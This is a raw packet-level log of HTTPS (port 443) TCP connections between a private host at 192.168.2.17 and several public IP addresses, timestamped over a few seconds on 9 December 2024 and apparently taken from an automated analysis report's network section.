Dec 9, 2024 18:42:21.080899954 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.080976009 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.081259966 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.081329107 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.081413984 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.122781038 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.122811079 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.170691013 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.347202063 CET	443	49772	18.165.220.47	192.168.2.17
Dec 9, 2024 18:42:21.347451925 CET	49772	443	192.168.2.17	18.165.220.47
Dec 9, 2024 18:42:21.347486973 CET	443	49772	18.165.220.47	192.168.2.17
Dec 9, 2024 18:42:21.348489046 CET	443	49772	18.165.220.47	192.168.2.17
Dec 9, 2024 18:42:21.348551989 CET	49772	443	192.168.2.17	18.165.220.47
Dec 9, 2024 18:42:21.349423885 CET	49772	443	192.168.2.17	18.165.220.47
Dec 9, 2024 18:42:21.349471092 CET	443	49772	18.165.220.47	192.168.2.17
Dec 9, 2024 18:42:21.349585056 CET	49772	443	192.168.2.17	18.165.220.47
Dec 9, 2024 18:42:21.349591970 CET	443	49772	18.165.220.47	192.168.2.17
Dec 9, 2024 18:42:21.394704103 CET	49772	443	192.168.2.17	18.165.220.47
Dec 9, 2024 18:42:21.529843092 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.530925989 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.530953884 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.530981064 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.531008005 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.531053066 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.532170057 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.537952900 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.537995100 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.538007021 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.548990965 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.549042940 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.549053907 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.558374882 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.558432102 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.558500051 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.558753967 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.558768988 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.602683067 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.602730036 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.650074959 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.650131941 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.650150061 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.698687077 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.721520901 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.725615025 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.725686073 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.725712061 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.733774900 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.733864069 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.733874083 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.741872072 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.741933107 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.741940022 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.749995947 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.750047922 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.750056982 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.750087023 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.750144005 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.750329971 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.750341892 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.752093077 CET	49775	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.752115965 CET	443	49775	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.752188921 CET	49775	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.752409935 CET	49775	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.752420902 CET	443	49775	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:22.057073116 CET	443	49772	18.165.220.47	192.168.2.17
Dec 9, 2024 18:42:22.057176113 CET	443	49772	18.165.220.47	192.168.2.17
Dec 9, 2024 18:42:22.057239056 CET	49772	443	192.168.2.17	18.165.220.47
Dec 9, 2024 18:42:22.057878971 CET	49772	443	192.168.2.17	18.165.220.47
Dec 9, 2024 18:42:22.057895899 CET	443	49772	18.165.220.47	192.168.2.17
Dec 9, 2024 18:42:22.198786020 CET	49776	443	192.168.2.17	18.165.220.75
Dec 9, 2024 18:42:22.198818922 CET	443	49776	18.165.220.75	192.168.2.17
Dec 9, 2024 18:42:22.198904037 CET	49776	443	192.168.2.17	18.165.220.75
Dec 9, 2024 18:42:22.199100971 CET	49776	443	192.168.2.17	18.165.220.75
Dec 9, 2024 18:42:22.199111938 CET	443	49776	18.165.220.75	192.168.2.17
Dec 9, 2024 18:42:22.646572113 CET	443	49757	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:22.646671057 CET	443	49757	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:22.646759987 CET	49757	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:22.784487009 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:22.784847021 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:22.784868002 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:22.785228014 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:22.785535097 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:22.785614014 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:22.785676003 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:22.831326008 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:22.979237080 CET	443	49775	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:22.979568958 CET	49775	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:22.979595900 CET	443	49775	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:22.980082989 CET	443	49775	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:22.980386972 CET	49775	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:22.980477095 CET	443	49775	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:22.980514050 CET	49775	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.027328014 CET	443	49775	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.033119917 CET	49775	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.256408930 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.256467104 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.256525040 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.256553888 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.258670092 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.258702040 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.258725882 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.258733988 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.258775949 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.264447927 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.272711992 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.272772074 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.272778988 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.284317970 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.284379959 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.284387112 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.334696054 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.375819921 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.430653095 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.438585043 CET	443	49775	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.438668966 CET	443	49775	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.438719034 CET	49775	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.439857960 CET	49775	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.439877033 CET	443	49775	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.443856955 CET	49757	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:23.443862915 CET	443	49757	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:23.448045969 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.450619936 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.450687885 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.450696945 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.466706991 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.466789007 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.466797113 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.474893093 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.474956036 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.474962950 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.483022928 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.483093023 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.483098984 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.491337061 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.491405964 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.491413116 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.499432087 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.499514103 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.499521017 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.507555962 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.507646084 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.507653952 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.515778065 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.515852928 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.515858889 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.529464960 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.529537916 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.529544115 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.536564112 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.536657095 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.536663055 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.567373991 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.567498922 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.567509890 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.619684935 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.640320063 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.642556906 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.642636061 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.642643929 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.647762060 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.647838116 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.647844076 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.652633905 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.652702093 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.652709007 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.661796093 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.661865950 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.661873102 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.661914110 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.670658112 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.670676947 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.670739889 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.670835972 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.670883894 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.679451942 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.679464102 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.679537058 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.687903881 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.687912941 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.687974930 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.692511082 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.692519903 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.692584038 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.699934959 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.700017929 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.706022024 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.706088066 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.712234974 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.712301016 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.715722084 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.715790033 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.721589088 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.721697092 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.724972010 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.725047112 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.731167078 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.731240034 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.830527067 CET	443	49776	18.165.220.75	192.168.2.17
Dec 9, 2024 18:42:23.830823898 CET	49776	443	192.168.2.17	18.165.220.75
Dec 9, 2024 18:42:23.830847979 CET	443	49776	18.165.220.75	192.168.2.17
Dec 9, 2024 18:42:23.831729889 CET	443	49776	18.165.220.75	192.168.2.17
Dec 9, 2024 18:42:23.831793070 CET	49776	443	192.168.2.17	18.165.220.75
Dec 9, 2024 18:42:23.832125902 CET	49776	443	192.168.2.17	18.165.220.75
Dec 9, 2024 18:42:23.832178116 CET	443	49776	18.165.220.75	192.168.2.17
Dec 9, 2024 18:42:23.832300901 CET	49776	443	192.168.2.17	18.165.220.75
Dec 9, 2024 18:42:23.832307100 CET	443	49776	18.165.220.75	192.168.2.17
Dec 9, 2024 18:42:23.833256006 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.833319902 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.838017941 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.838080883 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.840954065 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.841020107 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.845926046 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.845990896 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.846124887 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.846232891 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.846239090 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.846247911 CET	443	49774	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.846276045 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.846313953 CET	49774	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.848406076 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:23.848449945 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:23.848553896 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:23.848783016 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:23.848798037 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:23.865721941 CET	49778	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:23.865758896 CET	443	49778	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:23.865849972 CET	49778	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:23.866099119 CET	49778	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:23.866110086 CET	443	49778	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:23.873709917 CET	49776	443	192.168.2.17	18.165.220.75
Dec 9, 2024 18:42:23.996452093 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.996515989 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:23.996603012 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.996881008 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:23.996905088 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:24.552304983 CET	443	49776	18.165.220.75	192.168.2.17
Dec 9, 2024 18:42:24.552413940 CET	443	49776	18.165.220.75	192.168.2.17
Dec 9, 2024 18:42:24.552485943 CET	49776	443	192.168.2.17	18.165.220.75
Dec 9, 2024 18:42:24.553288937 CET	49776	443	192.168.2.17	18.165.220.75
Dec 9, 2024 18:42:24.553304911 CET	443	49776	18.165.220.75	192.168.2.17
Dec 9, 2024 18:42:25.065623045 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.065954924 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.065984011 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.066327095 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.066629887 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.066690922 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.066802025 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.111339092 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.224322081 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.224611998 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:25.224638939 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.224973917 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.225270987 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:25.225323915 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.225415945 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:25.225456953 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:25.225502014 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.252377987 CET	443	49778	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:25.252660036 CET	49778	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:25.252686977 CET	443	49778	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:25.253041029 CET	443	49778	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:25.253339052 CET	49778	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:25.253401041 CET	443	49778	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:25.253464937 CET	49778	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:25.299338102 CET	443	49778	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:25.515407085 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.515460968 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.515547991 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.515566111 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.516247988 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.516310930 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.516318083 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.518222094 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.518280029 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.518289089 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.525628090 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.525753021 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.525764942 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.534193993 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.534275055 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.534287930 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.584244013 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.635155916 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.679934025 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.707925081 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.710366011 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.710447073 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.710462093 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.718446016 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.718523026 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.718533039 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.732803106 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.732877016 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.732893944 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.740999937 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.741064072 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.741075039 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.748970032 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.749034882 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.749049902 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.752237082 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.752665997 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.752698898 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.752736092 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:25.752758980 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.752804041 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:25.753662109 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.757074118 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.757131100 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.757139921 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.760673046 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.760740995 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:25.760751963 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.765640974 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.765734911 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.765746117 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.766190052 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.766242027 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:25.766249895 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.773376942 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.773437977 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.773456097 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.781500101 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.781599998 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.781610966 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.788151979 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.788280010 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.788289070 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.801350117 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.801439047 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.801454067 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.818718910 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:25.828115940 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.828233957 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.828252077 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.842587948 CET	443	49778	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:25.842689037 CET	443	49778	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:25.842763901 CET	49778	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:25.843333006 CET	49778	443	192.168.2.17	164.92.188.247
